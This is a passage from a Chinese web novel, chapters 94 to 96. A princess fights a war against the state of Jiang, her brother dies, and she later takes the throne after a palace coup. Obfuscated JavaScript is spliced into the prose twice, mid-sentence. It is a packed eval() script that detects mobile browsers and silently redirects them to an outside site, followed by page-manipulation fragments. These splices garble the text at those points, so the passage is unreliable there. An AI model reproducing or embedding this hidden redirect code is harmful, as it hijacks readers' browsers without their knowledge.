周昭十分痛苦地叹息一声,道:“可是,父皇根本不同意我去姜国。” 霍璋道:“殿下知道为什么吗?” “我不明白。” “因为殿下太年轻,年轻,就会只看得到世间黑白二字。殿下又太心善,心善,就会见不得黑白颠倒。” 霍璋其实有几分犹豫,要不要将这些暗处的事情全都暴露给周昭,在他看来,周昭还是个孩子。 但周昭远比他想象中聪慧,立即道:“我懂了,父皇是怕姜国的真相。如果事情真是姜国所为,祭天无可厚非。但若姜国蒙受不白之冤,我大周便是恃强凌弱。” 霍璋赞赏道:“殿下什么都懂,何苦让自己囚在昭阳殿。” 他又道:“姜国于槐鬼一事是否清白我不清楚,但两军对战,从义县那一仗开始便没有退路了,就像棋盘之上黑白两子已经厮杀,谁先退,谁先死。” “谁先退,谁先死……”周昭沉吟道,“若我推翻这棋局,如何?” 霍璋玩笑道:“如果真到了那一天,离亡国也不远了。” 话一出口,霍璋便立刻反应过来,俯身道:“臣一时口快,胡言乱语,还望殿下不要往心里去。” 周昭隔着监牢虚扶了一把:“将军快请起,咱们闲聊罢了,又没有外人,不必拘礼。” 期间沉默了一阵子,霍璋又忍不住道:“殿下,如果姜国人的确无辜,但槐鬼没有他们的人心便控制不住,你会怎么选?” “撤军,停战。” 霍璋心道:“看来公主还是没明白……” 周昭叹息道:“若易地而处,今日被当做解药吞吃入腹的是我大周……” “臣刚才说的不对,应该是从第一个姜国人被吃掉那天起,就没有退路了。殿下可想清楚了,如果一意孤行,到时候整个大周的百姓,都会站在你的对立面,姜国人也不会因此感激你。” “我知道……”周昭遥望着牢房之外那一点点光亮,“但师父从前教我心之所善,九死其犹未悔。世间总要有黑白之分。如果没有人肯站出来,没有人肯去讨那么一点儿公道,那这世道跟吃人的地狱有什么区别?” 尽管知道周昭的话太过理想主义,放在这棋局上根本就是举步维艰,霍璋还是被她言辞中的舍我其谁震撼了片刻,竟也生出几分不可能的希翼。 虽然举步维艰,但万一这其中真有第三条路可选呢…… 霍璋换了个舒服的姿势靠在草席上,他清醒得很快,早早地便看破了结局:大周跟姜国不可能共存。 除非槐鬼有别的解法,否则,要么是姜国人被杀的一个不剩,要么是…… 霍璋觉得自己有必要提醒提醒,于是道:“殿下可还记得,当年在北疆晋川遇到的那队银甲鬼兵?” “怎么?姜国也出现了?”周昭难以置信道。 “不错,那些鬼兵全都银甲覆面,刀枪不入,死后无尸,跟晋川那股一模一样。殿下也知道,虽然这些鬼兵怕光,但也极难对付。” 周昭点点头,一缕忧愁爬上她的眉梢,不禁道:“难道姜国真与孟舒勾结?” 霍璋道:“不太像。孟舒如今自顾不暇,袁良被我射中一箭,性命堪忧,这几月北疆并无战事。” 霍璋许是又想起什么,欲言又止。周昭微笑道:“将军是想问我兰将军?” 霍璋难得面露尴尬,摸了摸鼻尖,问道:“她......还好吗?” 周昭道:“将军放心,兰将军一点儿事也没有,只是将军那晚来的不巧,兰将军前夜刚回南疆去了。” “那便好,那便好。”霍璋手足无措道。 一说到兰令仪,刚才那阵困住二人的黑白棋盘终于短暂地隐到暗处。 周昭不懂男女情爱,只觉得这两人明明互相在乎,却能十年不见,实在是件匪夷所思之事。虽然理智告诉她莫要过问他人私事,却耐不住心中好奇,忍不住道:“将军,你跟兰将军......” 周昭目光纯净,流露出少有的不谙世事,霍璋心道:“霍行野啊霍行野,你一大把年纪,在小姑娘面前有什么好遮掩的。” 想到此处心胸坦荡,不由大笑道:“殿下,等你日后有喜欢的人,就会明白了。” 果然,周昭脸色微红,不再追问了。 “不过,臣有一句忠告,世间男女,最怕错过二字。”霍璋说这话时,俊朗的面容上掠过一丝少见的阴郁,但旋即消失不见,就好像无论什么痛苦,都不能在这位久经沙场的将军身上留下能被人察觉的痕迹。 霍璋平生最爱随遇而安四字,哪怕是被投入大牢,也未见得让他身上多一分愁苦。 地牢不见一丝阳光,并无黑夜白天之分,除了几支惨白的蜡烛默默垂泪,唯一的光源,就是墙壁上添置的油灯了。 每日前来送饭的狱卒都会顺便往油灯里添新油,饭菜竟然是跟昭阳殿里吃的一样。 霍璋支着一条腿,心满意足地笑道:“臣这是沾了殿下的光。” 霍璋指了指头顶,语气半是遗憾半是调笑:“可惜,斯年没有这个福气。” 地牢本就是用于关重臣要犯的,闫斯年虽然背了写谋反信的锅,却还不够格跟他们关在一处。 周昭见霍璋如此豁达,不由笑道:“跟我绑在一处,将军不怕日后大哥登基,对你不满吗?” 霍璋放下腿,满不在乎道:“我霍家世代保家卫国,问心无愧,顺其自然就是。不过......” 霍璋的声音自暗处传来,虽然低,却清楚地传到周昭的耳朵里:“殿下真没想过争一争?” “将军不是说了,顺其自然。”周昭沉默半晌,“其实我更喜欢在北疆那两年,无拘无束,自在极了。” 说到此处,周昭忽然想到裴砚:“对了,将军,有件事还要拜托你。我殿前有个侍卫,名叫裴砚,如果咱们有幸出去,希望将军能带他回到北疆。” 霍璋应下,周昭总算了却一桩心事,但想到裴砚日后就要离自己而去,心头不由涌上一阵难言的惆怅。 若在平日,这种惆怅就如过眼云烟,但在暗无天日的地牢里,任何情绪都像烛火映在墙壁上的影子被放大许多,周昭竟生出几分不可名状的后悔。 按理说,他们被关在地牢里已有些时日,这案子总要审理,但却一直不见有人来。 周昭左等右等,好容易等来了大理寺卿张文山,对方却说外头的人并不知道霍璋跟她被关在大理寺,宣庆帝似乎也没有要审理此案的打算。 周昭百无聊赖,偶然看到那处通向地牢的台阶缝隙里竟然长着一株小草。 虽然十分瘦小,却是这地牢里唯一的绿色,像个沿着墙壁往上伸长脖子努力寻找什么的小人。 周昭盯着小草瞧了又瞧,突然笑道:“将军,我知道槐鬼怕什么了。”她指给霍璋看,“从前我们都当槐鬼是人,却没想过槐鬼本是槐树,就像这草一样,槐树要长大,离不开太阳。” 霍璋抚掌道:“妙!槐鬼既是槐树,不见太阳就长不大!” 二人兴致勃勃,又对这其中关联讨论良久,恨不得现在就出去试验一番。 他们人出不去,想着能将这发现递出去也好。但说来奇怪,今日到了用饭的时候,却不见狱卒前来。直到那盏油灯燃尽,灯芯熄灭最后一丝亮光,地牢外才传来脚步声。 却不是一人,而是许多人匆匆忙忙行走,周昭跟霍璋对视一眼,都觉得发生了什么事儿。 不消片刻,张文山满头大汗的跑进来。 “公主殿下!”张文山的眼睛一时不适应地牢的黑暗,险些撞在门上。周昭皱眉道:“大人,发生何事如此惊慌?” “公主殿下......”张文山上气不接下气。 此时,不知是通向地牢的那扇大门打开的缘故,还是敲钟的人力气足够大的缘故,总之,低沉而悲怆的钟声沿着潮湿阴暗的墙壁飘荡进来。 周昭听得清清楚楚,那钟声敲过三下后却不停歇,一声声宛如重锤敲在她心上。 每传来一声钟响,周昭的脸色就白上一分。 张文山大气不敢出,一直到钟声响过九下,才悲痛道:“殿下,霍将军,平南王......殁了!” 周昭根本不记得自己是怎么从地牢走出去的,踏出牢门的那一刻,刺眼的阳光让她眼睛痛得像被针扎,直到霍璋的声音在耳边响起,周昭才惊觉自己扶着霍璋的手在隐隐发抖。 张文山小跑着跟在他二人身后,删繁就简:“急报上说,平南王在战场上忽发心悸,从马上跌落下来,被姜国人擒了去。后来,后来......” 霍璋低喝道:“后来怎么了!” “姜国人送回来的是具尸体,平南王……死状惨烈!” 等真的亲眼见到周驰的尸身,周昭才知道张文山并未夸大。 幸得如今是隆冬,尸体从边境运回来并未腐烂,周驰的模样丝毫未变,眉目沉稳,只是脸色呈现出毫无生气的灰青。 再往下看,这具尸身竟是被剖开肚腹,里面五脏六腑全都被掏的干干净净。 棋盘暗流涌动,纵使黑子有心避让,白子却杀伐果断。 周昭面色惨白,一时五内俱焚。 史书记载,宣庆二十六年春,原北疆大将霍行野封安定侯,赐良田百亩,侯府一座。 次日,皇女昭请旨出征姜国。大军于义县驻扎,不料三更遇袭,士兵皆穿甲蒙面,刀枪不入。 周昭即刻命人点起火把,盾在前,弓弩手在后,数十面铜镜列五行八卦之阵,专以铜镜反射亮光刺甲兵双眼。 甲兵遇光不前,再命弓弩手放箭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17012255|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 射其目,姜国大败。 翌日,姜国将领城下叫阵,对故去平南王言语辱之。 周昭亲率骑兵出城迎敌,孤身追出城外百里,佯装遭伏。 敌大喜,急追周昭而去,不料靖王于此地守株待兔,姜国再败。 义县少植被,风沙大,早晚尤其干冷。 这处边境小城原本也算繁华,由于这一年来战事不断,许多人都搬走了,因此只剩下一座废弃的空城。每当夜晚风吹尘起,穿过战壕,掠过旌旗,便留下好似鬼哭狼嚎的阵阵呜咽。 军帐内,周昭正仔细看着手中地图,士兵来报换药的大夫到了。 她头也不抬,冷声道:“不必。” “公主殿下,难道是铁打的不成?”一个声音于帐外响起。 周昭正欲发怒,一只手轻轻挑开帐帘,又即刻放下,将士兵列队训练之声关在帐外。 周昭见了来人,心中大喜,起身迎道:“宁兄!你怎么来了?” 来人正是黎国宁啻。 宁啻从风沙里穿过,身上却很干净。 他一身青灰长衫,手提一只药箱,面容与两年前周昭与他在北疆大营分别时并无不同,但与初见时那位游手好闲,整日看戏吃酒的宁小王爷,可就真真是判若两人了。 宁啻微笑道:“阿鸢,好久不见。” 他还是习惯这么唤周昭。 宁啻极为自然地将药箱放在那张地图边上,一边娴熟地从里面拿出纱布药瓶,一边说道:“我不来,谁敢给你换药?” “宁兄,你是从黎国来的吗?长淮可还好?” 周昭坐下,任由宁啻褪下她领口外衣,宁啻瞧着周昭左肩伤口,那箭伤已然化脓,一看便知受伤的人对此不大关心,蹙眉道:“我们都很好,只是你……” “我也很好。”周昭抢道。 宁啻沉默不语,在伤口上小心翼翼涂上药粉,又换了层轻薄干净的纱布包好。做完这些,二人总算能面对面说话,宁啻道:“我在北疆听说你在姜国,左右无事,过来瞧瞧。” 周昭疑道:“怎么,宁兄一直待在北疆大营?” 那时周昭与霍璋回盛都,还当宁啻已经回黎国,随后两年槐鬼作乱,周昭几乎要忘记了这位旧友,如今再见,昔日情分又原原本本回忆起来,甚至因为隔了些年月而较从前更甚。 宁啻摇摇头:“也没有一直都在,中间回去几次。不过,你也知道我在黎国没什么事儿。” 宁啻自嘲一笑:“反而觉得在北疆更自在些。对了,赵六子跟燕飞他们,都让我带他们向你问好。” 周昭道:“我很好,改日有空,就去北疆看他们。” 宁啻正要说什么,一名将士在帐外道:“殿下,有军情急报。” 周昭应道:“进来说话。” 那将士掀帘进来,看见宁啻不由微微诧异,却也听说了有位霍将军举荐从北疆来的大夫,于是微微点头致意,又对周昭道:“城外三十里,一小股难民正在向义县接近。” “这当口,哪儿来的难民?” “看样子,像是从南边来的。” “确定是周朝人吗?” “不确定,但能确定都是寻常百姓,队伍里有妇女幼童。” 周昭沉思道:“南边怎么会有难民?这八成是姜国的圈套。” “属下也这么想,要不要我带人将他们赶走。” “不必!”周昭抬手道,“随我登上城楼看看。” 她忽而想起宁啻还在此处,宁啻站起身道:“殿下,我先告退。” 周昭点点头,目送宁啻离去,又吩咐人好生招待宁啻,随即出帐去了。 正午天气炎热,士兵们操练过后都躲在阴凉处休息,见周昭走过无不起身问好。 周昭脚步匆匆,问道:“子卓,前些日子我派去姜国送信的人回来了吗?” 副将谭子卓道:“回来了,我正要向殿下回禀。” “确定是交在姜国国主手上的?” “对。”谭子卓亦步亦趋跟在周昭身后,“殿下,咱们的信送出去不止一次,姜国却拒不承认槐鬼与他们有关,暗地里又三番四次带兵挑衅。要我说,不如一鼓作气灭了姜国。” 周昭冷声道:“姜国欠下的血债,我自会讨。” 谭子卓知道她这是想起平南王,识趣地不再说话。 登上城楼,果然远远地看见有一群难民装束的人正向义县走来,周昭道:“让靖王带兵看看去,若是这队难民背后有尾巴,就给我将尾巴斩了。跟他说,小心埋伏,不要冒进。” “是,属下领命。殿下,那些难民呢?” “妇女幼童,老人残废放进来。其余的,不准进。” “只怕这些人不肯。” 周昭瞥了谭子卓一眼,目光中隐隐有责备之意,谭子卓立刻道:“属下这就去办。” 周昭又道:“若这些真是难民,妻儿老父都进了城,他们断不会离去,先等上几天……” 谭子卓点点头,快步走下城楼。 不一会儿,就见一队军马出城,领头的是位十七八岁的少年,年纪不大却十分英武,正是靖王折杞。 95. 第 95 章 两刻钟后,有士兵来报,小靖王路遇敌军埋伏,被困碧波谭。 周昭看向副将谭子卓,对方惶恐道:“殿下,我特意按殿下所说转告小靖王,要他小心埋伏......” 报信的士兵高呼道:“殿下!我们的确处处小心,但那姜国人阴险至极,竟驱赶难民作盾,小靖王攻也不是,不攻也不是,这才被困。殿下,您快派兵去救吧!” 谭子卓惊讶道:“竟有这等事?” “千真万确!” “殿下,这明摆着是陷阱!您不能去!” 周昭沉吟片刻,道:“拿弓来,备马。” 谭子卓自知劝不住,正为难间,见刚才周昭军帐内那位大夫缓缓走来,打量周昭几眼,问道:“殿下要出城?” 周昭也不隐瞒,道:“宁兄,莫要劝我,你知道这点儿伤,对我来说不算什么的。” 这声“宁兄”落在谭子卓耳朵里,不由把耳朵竖得更尖了。 宁啻微笑道:“你误会了,我是来约你晚上饮酒。殿下,莫要失约。” 周昭心领神会,点头道:“好,宁兄只管在城中等我。子卓,清点人马跟我走。” 还未靠近碧波谭,那里便厮杀声一片。 此处虽然叫碧波谭,其实是一道峡谷。只因数百年前峡谷中有一汪清潭碧波,因此得名,如今风沙侵蚀,潭水早已干涸,但碧波谭这个名字却保留下来。 峡谷两侧埋伏着数千姜国弓箭手,谷底则是步步紧逼的姜国士兵,除了寻常战场刀剑之声,还有无数百姓哭喊呼救声在谷内回响不断。 折杞怀中抱着个幼童,正哇哇大哭,他一边抵挡飞箭,一边还要腾出一只手护住那孩子,任他武艺再强也落于下风。 “折杞,往后退!” 听到这熟悉的声音,折杞面上一喜,斩落劈头盖脸而来的一道利箭,回头道:“是殿下来救咱们了!” 几乎是同一瞬间,一支箭嗖的一声划破长空。姜国帅旗折成两半滚入峡谷,顿时一片叫好。 周昭所用的是那时宣庆帝在猎场上赠予她的千张弓,但她左肩受伤,这支箭射出去,不由脸色惨白,冒出冷汗。 山顶之上,一位年轻的将军正默默注视着周昭,眼中不可谓不恨。 周昭命谭子卓兵分两路,一路人马绕后打开缺口,另一路人马则主要救人。 这峡谷就像一只张开的口袋,进去容易,出来就难了。但不知是姜国人被周昭带来的军马声势之浩大吓住,还是他们已疲于应战,两方交战不久,姜国士兵竟然抵挡不住连连后退。 谭子卓正要乘胜追击,周昭低喝道:“穷寇莫追。” “哈哈哈哈!”山谷中传来一阵狂笑,那位一直观战的姜国将军缓缓骑马出阵,“明鸢殿下,咱们又见面了。” 周昭微抬下巴,高傲道:“这些百姓手无寸铁,好一个以强凌弱。” “哈哈哈哈!”那人仰天笑道,“好一个以强凌弱!周昭,你哥哥杀我姜国将士时,怎么没见你跳出来说以强凌弱!如今,你倒是大言不惭!” 周昭目光微滞,对方又道:“怎么,无话可说了?我今日就是想让你看看,你们周朝口口声声泱泱大国,王族口口声声神族血脉!跟我今日所为,毫无区别!” 折杞怒道:“怎么能没区别!你们若是心中无鬼,那些铁甲鬼兵又是怎么回事儿?槐鬼因姜国而起,大殿下被姜国所害,这笔账,又该怎么算!” “不错!周昭,你哥哥是我杀的,也是我亲手开膛破腹,你若是真有本事,就来取我人头。若没这本事,趁早滚回盛都嫁人去吧!” 这话引来一阵哄笑声,那位将军又道:“周昭,今日就告诉你,我姜国虽小,却不失骨气!大周虐杀我将士在先,早晚有一天,我们的铁骑要踏平盛都!用你父皇的人头做酒盏,到那时你若还没嫁出去,本将军愿意纳你为妾,哈哈哈哈!” “放肆!”周昭的拳头早已攥紧,听到这里再也忍耐不住,扬起马鞭,狼牙吃痛猛地窜出去,谭子卓大惊失色,叫道:“殿下!快、快护驾!” “放火!给我烧了这里!” 那位将军一声令下,无数火球飞驰而来,碧波谭转眼间变成一片火海。 哭声、尖叫声、刀剑声在熊熊烈火中响彻天地。 折杞将那怀里的幼童随手交给一个士兵,唤道:“殿下,回来!” 不好,中计了! 但为时已晚,几十个姜国士兵将她团团围住。 弓箭并不适合近距离作战,周昭抽出剑,目光坚定,狼牙似乎也明白形势危急,扬起头颅嘶鸣一声,势与主人同生共死。 …… 宁啻一直等到暮色降临,时不时起身朝城门口张望几眼。终于,那条路的尽头渐渐传来由远及近的马蹄声。 宁啻远远地迎上去,却不见周昭。打头的是谭子卓,模样十分沮丧。宁啻心脏狂跳不止,上前问道:“殿下呢?” 谭子卓手中马鞭向后一指,只见折杞牵着狼牙缓缓走来,马背上似乎伏着一个浑身是血的人。 宁啻奔上前,折杞并不认识他,却分辨出宁啻眼中的关切,于是道:“殿下伤势不重,只是太累了,昏过去了。” 宁啻好歹喘上一口气,跟折杞将周昭送回军帐,他看看折杞,又道:“这位小将军,你似乎也伤得很重呢。” 折杞露出笑来,他一笑便露出两颗又尖又白的牙齿,显得稚气未脱,十分有礼貌地说道:“您就是新来的大夫吗?我不要紧,先给殿下看看吧。” 宁啻点点头,转身又从药箱取出一瓶止血药,一回头,折杞却不见了,于是这瓶药又全都用在了周昭身上。 周昭昏迷中也并不安稳,额头沁出细细密密的汗珠子,像是被梦魇住了,口中低声喃喃,却听不清说的是什么。 直到第二日晌午,周昭才悠悠转醒。 她一醒来,便问起谭子卓昨天那一仗。谭子卓耸耸肩膀,垂头丧气道:“殿下,那些姜国人精明得很,宁愿一把火烧了,也不给咱们留下几具完整的尸体。” 周昭自从来了这里,并不像周驰原来那样抓俘虏回去生挖心脏祭天,而是训练士兵尽可能在不伤及自身的前提下,避开心脏射箭刺刀,这样就能得到姜国人的心脏。 这些战场上的心脏都被收集起来,像虚无渡那样烧成灰,再将装着灵台灰烬的箱子运回盛都。 正如周昭跟霍璋当时在地牢中猜测的那样,槐鬼果然需要阳光才能生长,为此朝廷日夜不停修建了无数地宫,凡是槐鬼,皆送入见不得阳光的地宫,这也为周昭收集灵台大大延长了时间。 她同时立下军令有三:一不杀降,二不杀民,三不掳掠,违者立斩。 但时间长了,第一点的弊端也显现出来。姜国人纵使归降不杀,却拦不住手底下的兵偷偷杀,谁能想要这灵丹妙药,可能是为自己以备不时之需,大多是为远在盛都的家人。 纵使周昭军法严明,也压不住星火燎原,反而军中怨气横生,只好取缔,干脆全杀了免得惦记。 久而久之,姜国人再没有归降的。横竖都是一死,死也死得干净。 周昭闻言眉头蹙起,问道:“一个都没有?” “有十来个。” “那好,带我去灵台阁。” 谭子卓惊愕道:“殿下,您不是从来不去灵台阁吗?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17053975|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 周昭似乎伤痛难忍,不愿再开口说话,谭子卓只好遵命。正要出帐,迎面遇上前来看她伤势如何的宁啻,对方问道:“殿下伤还没好,这是要去哪?” “灵台阁。”谭子卓接话道。 “灵台阁?”宁啻重复道。 周昭惨白的面容略微一笑:“宁兄,愿意陪我去吗?” “好。” 灵台阁,是一间十分巨大的石室。 这间石室是依着虚无渡给的图纸而建,位于正北乾位,里面陈设及其简单,无外乎一张槐木桌,几张陈尸台,一只常年不灭的香炉,一只青铜鼎,仅此而已。 只是一踏进这里,香炉也掩盖不住的血腥味便扑面而来。 周昭几欲作呕,强忍住,命令道:“子卓,拿我的剑来。”周昭接过剑,走到一张陈尸台前。 顾名思义,那上面摆放着一具新鲜的尸体,姜国人的尸体。 周昭问道:“宁兄,你是大夫,教教我,如果要剖出一个人的五脏六腑,从哪里下手比较合适?” 谭子卓听得心惊胆战,偷偷向宁啻递过去一个眼色,谁知宁啻不知是没看见他的暗示,还是有别的心思。 总之,这位新来的大夫竟然十分平静地除下那具尸体的军服,在肚脐之上约莫二寸轻轻点了点,说道:“这里。” “好。” 周昭的剑尖指向宁啻说的那个地方,剑刃锋利,很快在尸体上轻轻一划,流出几滴颜色发黑的血来。 谭子卓忍不住道:“殿下,烧灵台这种事儿,不必您亲自动手......” 周昭却充耳不闻,但她握着剑的手很明显在颤抖。宁啻侧过头,道:“谭大人,您先出去罢。” 他虽然语气温和,却有一种不容抗拒的意味,谭子卓看了眼周昭,犹豫片刻,还是出去了。 等到这间石室只剩下他们两人,宁啻轻轻握住周昭拿剑的手,低声道:“这样不够。” 他握着周昭的手,剑尖扑哧一声插进去,又以同样的力道向下划,一直划到肚脐,终于有大股大股暗沉沉的血涌出来。 “好受些了吗?”宁啻来之前就听说了平南王的事情,他再清楚不过周昭需要的仅仅是一个发泄口,“如果还很难受,那就把他的心挖出来,我教你。” 周昭一阵脱力,松开手,语气悲哀道:“瞧,哪怕面对一具尸体,我也没办法,我真差劲。” “不,”宁啻摇头道,“这不是你的错。有的人生来要当刽子手,善杀人,有的人则是慈悲佛,善渡人。” “宁兄,我注定当不了慈悲佛。这是战场,佛法无用,渡人不渡己。” 纵使我能渡人,这苍茫天下,万里尸骨,谁来渡我? 周昭重新拿起剑,她的手已经不再颤抖:“昨日若不是我自乱阵脚,也不会损失惨重。霍将军说得对,姜国是仇敌,我本不该心软。” 若说周驰身死给周昭带来的巨大打击,让她动摇了当初在承乾殿前冒雨求见宣庆帝的决心,昨日对方宣称要踏平盛都,无疑让周昭更加清楚地认识到,姜国注定要站在周朝的对立面。 当初是非周昭已无心过问,眼前一战却在所难免。 谭子卓侯在室外,忽然看见远处大路上有羽檄飞骑快马加鞭而来。 谭子卓正欲通报,里头的两人走了出来。他偷偷往里面瞧上一眼,青铜鼎内烧得正旺,不由心惊。 飞骑翻身下马,快步走到周昭身边,跪地道:“殿下!八百里加急文书。” 周昭本就雪白的脸愈发褪尽血色,她接过文书,只见上面寥寥几笔,写着: 朕命不久矣,望吾儿速归,承朕遗志,嗣登大统。 96. 第 96 章 那是个风雨夜,永安门就在眼前,远远地,城楼上几盏惨白的灯笼在呼啸的风中摇曳不停。 周昭很少会梦到那晚,她清楚地知道自己在做梦,所以当陈子明带着数千禁军来城门“迎接”她时,周昭和当年一样,并不想跟这位统领过多攀谈。 那晚,盛都城中的厮杀声响了整整一夜。 等到日出东方之际,长街恢复黎明前该有的寂静,心惊胆战地度过了一晚上的百姓才敢打开门窗,偷偷向外看上一眼。 周昭沿着记忆里那条满是尸体的街道缓慢地走着,她看见当年的自己狼狈不堪地握着一把剑,左手牵着狼牙,马背上横卧着一个几乎是变成刺猬的人。 她满脸是血,惊惶不安,口中喃喃道:“裴砚,裴砚......再坚持一下,我们就快到昭阳殿了......裴砚!你听见我说话吗?” 时至今日,周昭仍然不明白,那晚为何会在永安门遇到裴砚。 那时她明明是让裴砚去北疆的,裴砚明明同意了,但这个人.....这个人却偏偏要出现在这里! 周昭咬咬牙,将眼泪硬是逼回去,低声道:“裴砚,你以为我会感激你吗?裴砚,我恨死你了!” “裴砚,你跟我说句话......好不好?” “裴砚……我求求你,求你别……” 宣庆帝没能等到周昭回宫便撒手人寰,皇帝猝然驾崩,禁军统领陈子明举兵谋反,南衙羽林军统领闫斯年被囚,安定侯霍行野下落不明。 ——史称“永安门之变”。 那时周昭绝不会想到,裴砚的死仅仅是个开始。 眼前忽明忽暗,昭示皇帝驾崩的丧钟阵阵自苍界山传来。 周昭心想:“是了,这一定是梦。” 宫门近在眼前,尖叫声不绝于耳,周昭缓缓走着,宫道尽头就是皇后的凤仪殿,殿门大开,烛火明亮。 她眼睁睁看着当年的自己提着剑一步步走近,不由叫道:“不!别去!” 眼前的人很快消失了,梦境忽然变得异乎寻常的真实。 四周安静极了,仿佛漆黑的夜晚只剩下凤仪殿那一盏烛火。 周昭不知什么时候已经走进了凤仪殿,她借着烛火低头一看,盔甲之下浑身是血,不由打了个寒战,四顾茫然。 忽然,周昭看见屏风后露出的一片红色衣角,尽管脑海里似乎有个无比熟悉的声音一直在喊—— 别!别去!!! 周昭还是控制不住地挪动着沉甸甸的步子,向那扇屏风后走去。 她看见皇后孤零零地躺在那儿,一如既往的美貌面容蕴着世间最温柔的笑,唇角却挂着刺目的红,心口插着一柄剑。 “母后!”周昭扑过去,惊恐地发现那把剑不是别人的,正是自己的。 紧跟着,周昭余光看见窗棂下另一张惨白无血色的脸...... 一股腥甜猝然涌上喉头,周昭先是哇地吐出一大口鲜血,眼前一阵发黑。 一个响雷在皇宫上方那黑压压的天边炸开,惨白的闪电映照出流筝那张憔悴的脸。她一路小跑进来,看到地上那滩未干的血迹,匆匆别过脸,再转过身只看得到泪痕。 流筝提起裙摆跪在床边握住周昭的手,蹙眉道:“陛下,暑天里的,手这样凉。” 她取了方帕子熟练地将血抹了,方扭头唤道:“小翠,倒热茶进来。” 周昭像个木偶人似的喝茶漱口,流筝看她寝衣尽数被冷汗打湿,便问是否要传热水沐浴。 周昭半闭着眼睛,疲倦地嗯了一声,便不再说多余的话了。 此时不到三更天,夜还长,窗外大雨下个不停,殿内熏着浓重的安神香。 进殿侍奉的宫人们全都小心翼翼地低着头,谁都知道新登基的帝王最不喜风雨夜,生怕出了差错惹祸上身。 宫里每逢下雨,都是最忙的时候,新君见不得一丁点儿雨水堆积,特别是屋檐窗根底下,必须打扫得干干净净。 上回雨夜有个新来的宫人不懂规矩,湿着鞋履进殿服侍,被这位年轻的帝王瞧见,虽没说什么,脸色却差得吓人,叫那宫人第二日再不敢奉茶。 “都出去罢......” 这一声宛若叹息,轻飘飘地落在众人耳朵里,无不松了口气,悄然退下了。 只有新来的小翠年纪最小胆子最大,偷偷望上一眼,层层叠叠的纱幔后,靠在浴桶里半寐的女子美得惊人。 小翠心想:“宫中盛传陛下登基前杀母弑兄,我瞧着却不像,八成是假的。” 正兀自看得呆了,突然对上那双望过来的眼睛,冷冰冰得宛若打量死人,小翠慌忙低下头往后退,险些打了茶盏。 雨势铺天盖地,值夜的宫女们无处可去,全都聚在廊下躲雨。 小翠抽出手帕赶蚊子,想起刚才落在自己身上的眼神仍心有余悸,悄悄问:“姐姐们,咱们陛下不喜下雨,为何呀?” 正叽叽喳喳说话的宫人们顿时鸦雀无声。 半晌,有人道:“......都说是永安门之变那晚……” 旁边的宫女用手肘撞了撞她,悄声道:“好端端地提那时候做什么。” “锦心姐姐,你来得最早,给大伙儿讲讲呗。” “对啊,姐姐讲讲呗。” 锦心四处看看,有些犹豫道:“我也不清楚,就记得那晚宫里突然闯进很多侍卫,到处都在、都在杀人。” 锦心害怕地缩了缩脖子,仿佛又回到半年多前的那个风雨夜:“那时候咱们陛下还是明鸢公主,听说是受诏从边境赶回来的,还没到城门外,先帝就驾崩了。” 小翠好奇地问道:“陛下是受诏回来即位的吗?那为何都说……” “祖宗!”锦心一把捂住她的嘴,瞪了小翠一眼,接着道,“陛下既然能登基,当然是有先帝遗诏。” 其他人你望我我望你,显然是想起了那个广为流传的可怕传言,一时无人敢接话。 “不过,我有个表哥跟着安定侯做事,他说那晚凶险得很,要不是侯爷有先见之明,提前秘密出城,恐怕也被叛贼所害。后来,表哥跟着侯爷回城救驾,是......” 那宫女偷偷瞧了瞧紧闭的殿门:“......亲口说的,杀了先皇后跟五殿下。” 她越说声音越小,最后几个字微不可闻,却让众人都大暑天里起了身冷汗,噤声不敢再议论了。 流筝取来寝衣,却被眼前所见骇得软了半边身子,跌跌撞撞扑向浴桶,想大叫又记起这里早不是昭阳殿,下死劲儿咬住下唇,才把那声惊呼咽回肚子里,唤道:“陛下!” 周昭慢吞吞地从水底下浮起来,吐了口气,望着惊魂未定的流筝,微微侧了侧脸,流筝道:“您吓死我了!” 周昭淡淡道:“你怕朕自戕?” 流筝慌忙低头道:“流筝不敢!” 哗啦—— 周昭站起身,迈出浴桶,有些懒懒地张开双臂,流筝赶紧为她擦身,又拿来新换的寝衣给周昭穿上,系腰间绸带的时候,流筝忍不住抽了抽气,小声叹息道:“陛下,您又瘦了。” “是吗?” 流筝只觉手底下的腰身都能掐出骨头来,心疼不已,却也知道自己今夜话太多了,如果再说,就会被打发出去,只好揭过不提。 她从袖口拿出一个白瓷瓶,倒出一丸淡绿色的丹药,担忧道:“宁大夫的药好是好,但日日都吃也不是长久之计,再说您今日又……要不我还是请宁大夫再来瞧瞧?” 周昭这半年多几乎夜夜梦魇,严重时急火攻心吐血也并非一两次,但周昭却不让太医来瞧。 流筝不管什么朝局不稳民心动荡,她只知道周昭这样下去身子一定要垮,因此偷偷将这事儿告诉了兰将军。 没出十日便来了位姓宁的大夫,听说是黎国人,那位大夫开的药的确管用,周昭有阵子睡得安稳些,但没过多久,不知为何又不肯喝汤药,好在宁大夫脾气甚好,亲自配药炼成这药丸。 自从宁大夫来,周昭便没再吐过血,今夜还是头一回,流筝才如此紧张。 周昭今夜却不接那药,推开她的手兀自走开,流筝惊呼道:“陛下,您还没……” “流筝,你也出去罢。” 流筝鼻头一酸,欲言又止。 